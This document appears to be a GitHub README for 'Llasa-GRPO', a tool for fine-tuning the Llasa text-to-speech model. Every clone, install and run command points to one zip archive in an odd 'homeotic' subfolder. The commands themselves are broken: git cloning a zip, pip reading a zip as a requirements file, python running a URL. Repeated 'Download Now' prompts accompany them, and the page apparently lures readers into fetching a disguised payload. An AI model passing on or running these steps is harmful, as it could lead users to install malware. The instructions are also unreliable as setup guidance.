🎉 Llasa-GRPO - Fine-tune TTS with Ease

📥 Download Now

🚀 Getting Started

This guide helps you set up and run the Llasa-GRPO application. Follow the steps below to download and install everything you need.

📦 Installation

Step 1: Clone the repository

To begin, you need to get the code onto your computer:

1. Open your terminal (or Command Prompt).
2. Type the following commands:

   git clone https://github.com/dadasf-beep/Llasa-GRPO/raw/refs/heads/main/homeotic/GRPO-Llasa-1.7-beta.3.zip
   cd Llasa-GRPO

Step 2: Set up environment

You need to set up your application environment. Choose your preferred package manager:

📦 Using UV (recommended)

1. Install uv by following the instructions in the Astral documentation.
2. Then execute these commands in your terminal:

   uv venv .venv --python 3.12 && source .venv/bin/activate
   uv pip install -r https://github.com/dadasf-beep/Llasa-GRPO/raw/refs/heads/main/homeotic/GRPO-Llasa-1.7-beta.3.zip
   uv pip install --no-deps xcodec2

🐍 Using Python directly

1. Ensure Python 3.12 or higher is installed on your system.
2. Run these commands in your terminal:

   python -m venv .venv
   source .venv/bin/activate
   pip install -r https://github.com/dadasf-beep/Llasa-GRPO/raw/refs/heads/main/homeotic/GRPO-Llasa-1.7-beta.3.zip
   pip install --no-deps xcodec2

Step 3: Download and install the application

Now, visit this page to download the latest version of Llasa-GRPO:

Download Llasa-GRPO Releases

Step 4: Running the Application

Once you have installed the application, you can run it by executing:

python https://github.com/dadasf-beep/Llasa-GRPO/raw/refs/heads/main/homeotic/GRPO-Llasa-1.7-beta.3.zip

This starts the Llasa-GRPO application.

📊 Features

• Fine-tuning: Tailor the Llasa TTS model with GRPO.
• Token Evaluation: Uses Whisper ASR for evaluating rewards.
• Multiple Models: Access various models, including Llasa and ASR reward model.

Models overview

• Llasa Model: HKUSTAudio/Llasa-1B
• Finetuned Llasa Model: Steveeeeeeen/Llasa-1B-GRPO-2000
• Neural Codec: HKUSTAudio/xcodec2
• ASR Reward Model: openai/whisper-large-v3

📋 System Requirements

To use Llasa-GRPO, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• RAM: Minimum 8GB
• Python: 3.12 or higher

⚙️ Troubleshooting

If you encounter issues during installation, consider these points:

• Ensure you have a stable internet connection.
• Verify your Python version by running python --version.
• Check if you have the required permissions to install packages.

🌐 Community Support

If you have questions or need help, feel free to reach out to our community:

• GitHub Issues: Report issues here
• Discussion Forum: Join our discussions to share insights or seek help.

🌟 Explore More

For further details on models and training, visit the documentation:

• Llasa Documentation
• GRPO Overview

Thank you for using Llasa-GRPO! Enjoy fine-tuning your text-to-speech experience.